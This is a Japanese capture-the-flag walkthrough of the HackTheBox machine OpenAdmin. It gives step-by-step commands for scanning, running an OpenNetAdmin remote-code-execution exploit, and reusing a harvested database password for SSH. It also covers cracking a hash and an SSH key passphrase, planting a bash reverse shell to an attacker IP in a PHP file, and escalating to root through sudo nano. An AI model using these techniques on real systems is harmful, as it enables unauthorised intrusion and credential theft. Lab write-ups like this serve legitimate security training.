0.はじめに
hacktheboxのOpenAdmin攻略方法です。
上手く流れに乗らないと手詰まりになるマシンです。
途中で出現する情報を取り逃がさないようにしてください。
1.nmapでポートスキャン
①開いているポートの確認
nmap -sT 10.10.10.171
②ポートの詳細を確認
nmap -sC -sV -sT -p 22,80 10.10.10.171
2.webサイトの調査
①webサイトにアクセス
http://10.10.10.171
デフォルトページに見えますがubuntuでapacheが動いているのを強調しているようにも見えます。
②ディレクトリ調査
gobuster dir -u http://10.10.10.171 -w /usr/share/wordlists/dirb/common.txt
music、artworkというディレクトリを検出したので後続で調べることにします。
実際の攻略には影響ないですが、sierraというディレクトリも存在するようです。
今回使用したワードリストにsierraが含まれていないので検出出来ませんでした。
grep -n "sierra" /usr/share/wordlists/dirb/common.txt
grep -n "music" /usr/share/wordlists/dirb/common.txt
grep -n "artwork" /usr/share/wordlists/dirb/common.txt
sierraも検知したい場合は/usr/share/wordlists/dirb/big.txtを使えば検出出来ます。
ls -l /usr/share/wordlists/dirb/
grep -n "sierra" /usr/share/wordlists/dirb/big.txt
③発見したディレクトリの調査
・music
http://10.10.10.171/music/
→「Login」ボタンをクリックすると、以下のURLに遷移します。
http://10.10.10.171/ona/
→タイトルとバージョン情報から以下が動いていると判断できます。
CMS:OpenNetAdmin
バージョン:18.1.1
「You are NOT on the latest release version」という記述から最新版ではないことがわかります。
そのため、脆弱性が見つかるかもしれないので後続で調べることにします。
・artwork
http://10.10.10.171/artwork/
→「Contact」をクリックするとメッセージを送るフォームが出るので何か出来る可能性はあります。今回はmusicで見つけた箇所を調査するので無視します。
・sierra
http://10.10.10.171/sierra/
→「CONTACT」をクリックするとメッセージを送るフォームが出るので何か出来る可能性はあります。今回はmusicで見つけた箇所を調査するので無視します。
3.脆弱性の調査
①OpenNetAdminの脆弱性調査
OpenNetAdminのバージョン18.1.1に脆弱性がない調べます
searchsploit 'OpenNetAdmin 18.1.1'
実行結果から「Remote Code Execution」のExploitが以下のパスにあることが判明します。
/usr/share/exploitdb/exploits/php/webapps/47691.sh
②Exploitファイル確認
ls -l /usr/share/exploitdb/exploits/php/webapps/47691.sh
cat /usr/share/exploitdb/exploits/php/webapps/47691.sh
対象のExploitファイルは存在することが確認出来ました。
また、引数としてURLを渡せば実行出来ることも内容から判断出来ます。
4.Exploitの実行
①Exploitの実行
bash /usr/share/exploitdb/exploits/php/webapps/47691.sh http://10.10.10.171/ona/
②使いやすいシェルに遷移
2つ試してみましたが期待する効果は得られ無かったので飛ばしても大丈夫です。
script /dev/null -c bash
→動かなくなるのでダメでした。
python -c 'import pty; pty.spawn("/bin/bash")'
→動くけど実施前と特に変わらない表示でした。
③Exploitの実行後調査
cdコマンドなどが使えないシェルみたいなのでそれを踏まえて調査します。
・実行ユーザ確認
id
whoami
www-dataというユーザであることがわかります。
・カレントディレクトリの調査
pwd
ls -l
色々怪しいファイルがあるのでlsとcatコマンドで調査します。
ls -l ./local
ls -l ./local/config
cat ./local/config/database_settings.inc.php
→DBの接続情報があるので取得しておきます。
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!'
・開いているポートを確認
ss -tln
ss -tlr
→mysqlがあるのはいいとして、ローカルホストに対して52846ポートが開いているのが気になります。
・ユーザ確認
ls -l /home
cat /etc/passwd | grep -E '/bin/bash|/bin/sh|/usr/bin/zsh|/bin/ash|/bin/ksh'
jimmy、joanna、rootのユーザがいるとわかります。
→ユーザ情報とDBのパスワード情報があるのでまずはこの組み合わせでSSHを試してみることにします。
5.sshで接続(jimmyユーザ)
①取得したパスワードでssh接続
DB接続のパスワード「n1nj4W4rri0R!」を固定としてユーザ名は「/etc/passwd」のログインシェルを持つユーザを総当たりでSSH接続を試します。(リバースブルートフォース)
対象ユーザ
jimmy
joanna
root
最終的に以下の組み合わせで成功します。
ssh jimmy@10.10.10.171
パスワード:n1nj4W4rri0R!
②apacheの設定確認
今まで疑問になっていた以下の点からapacheのバーチャルホスト設定を確認します。
・ポートスキャンの結果80ポートはaphacheだったこと
・ローカルホストに対して52846ポートが開いていたこと
cd /etc/apache2/
ls -l
cd sites-available
ls -l
以下のファイルがlocalhostで52846のバーチャルホストに関する設定です。
cat internal.conf
サーバ名として「internal.openadmin.htb」を設定していることがわかります。
次にドキュメントルートフォルダを確認します。
cd /var/www/internal
ls -l
index.phpにパスワード情報が記載されています。
cat index.php
(途中省略)
以下のようにsha512のハッシュ値で記載されたパスワードがあります。
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
③ハッシュ値の解析
以下のオンラインパスワードハッシュクラッカーを使用してハッシュ値の解析をします。
https://crackstation.net/
ハッシュ値
00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1
→解析結果として「Revealed」であることが判明します。
④ローカルポートフォワーディング
接続先の52846ポートと自身の1234ポートを接続します。
設定例
ssh -L 【ローカルポート】:localhost:【接続先ポート】 【接続ユーザ名】@【接続先IP】
実際のコマンド
ssh -L 1234:localhost:52846 jimmy@10.10.10.171
⑤52846ポートにアクセス
http://127.0.0.1:1234
ここで②と③の結果から以下の値を入力して「Login」をクリック
ユーザ名:jimmy
パスワード:Revealed
ログイン後は以下のURLに遷移して暗号化されたSSHキーが表示されます。
http://127.0.0.1:1234/main.php
これはmain.phpのソースから「/home/joanna/.ssh/id_rsa」の値とわかります。
index.php、main.phpがjimmyユーザで編集可能なのでそこに着目した備考です。
①ログインについて
index.phpで以下の部分を変えてしまえばそもそもハッシュ値解析が不要になります。
変更前
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')
変更後
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) != '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1')
ssh接続先でnanoが使えるので以下のコマンドで書き換えます。
nano index.php
変更後以下の値でログイン可能になります。
ユーザ名:jimmy
パスワード:xxx #Revealed以外なら何でもOK
②ログイン後の表示内容について
「cat /home/joanna/.ssh/id_rsa」が実行出来るということは少なくともjoannaユーザ権限でmain.phpは実行されていると判断できます。
main.phpを変更して実行出来る操作を確認してみます。
・実行ユーザ確認
id
予想通りでjoannaユーザであることがわかります。
・joannaのホームディレクトリ確認
ls -l /home/joanna
ユーザフラグがあるので次に中身を取得してみます。
・ユーザフラグの取得
cat /home/joanna/user.txt
結果
値は取得出来ましたが正しい値では無かったです。
原因については今後判明したら更新します。
③リバースシェル
ここまでの結果でjoannaユーザとしてコマンド実行出来ることがわかったので、リバースシェルの獲得を試します。
・攻撃端末で待ち受け状態にする
nc -lvnp 5600
・main.phpにリバースシェルコマンドを追記する
"bash -c 'bash -i >& /dev/tcp/10.10.16.8/5600 0>&1'"
・使いやすいシェルに遷移する
script /dev/null -c bash
ちゃんとしたシェルじゃないためなのかsudo -lが出来ないです。
こちらについても今後回避策が判明したら更新します。
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: error initializing audit plugin sudoers_audit
6.sshで接続(joannaユーザ)
①暗号化されたSSHキーのパスフレーズ解読
(A)暗号化されたSSHキーをkeyファイルとして作成
nano key
(B)ハッシュ値を生成
/usr/share/john/ssh2john.py key > hash
(C)ハッシュ値からパスワードを解析
john hash --wordlist=/usr/share/wordlists/rockyou.txt
→「bloodninjas」がパスフレーズであるとわかる
②ssh接続
chmod 600 key
ssh -i key joanna@10.10.10.171
パスフレーズ:bloodninjas
・暗号化されたSSHキーを指定すること
・暗号化されたSSHキーのパーミッションは600にしておくこと
③userフラグの取得
cat /home/joanna/user.txt
7.root権限取得
①特権ユーザで実行できるコマンドの調査
sudo -l
/bin/nano /opt/privがパスワード無しで特権ユーザとして実行出来ることが判明します。
②gtfobins
nanoについてgtfobinsで確認します。
https://gtfobins.github.io/gtfobins/nano/
記載のコマンドを実行すればよいことがわかります。
③root権限取得
sudo /bin/nano /opt/priv
以下を入力後、returnキーをクリック
reset; sh 1>&0 2>&0
実行ユーザ確認
id
whoami
④rootフラグの取得
cat /root/root.txt
8.おわりに
途中で怪しいポートを取り逃がさないのがポイントかと思います。
ユーザフラグの取得方法についてももう少し色々なルートがありそうなので今後判明したら更新します。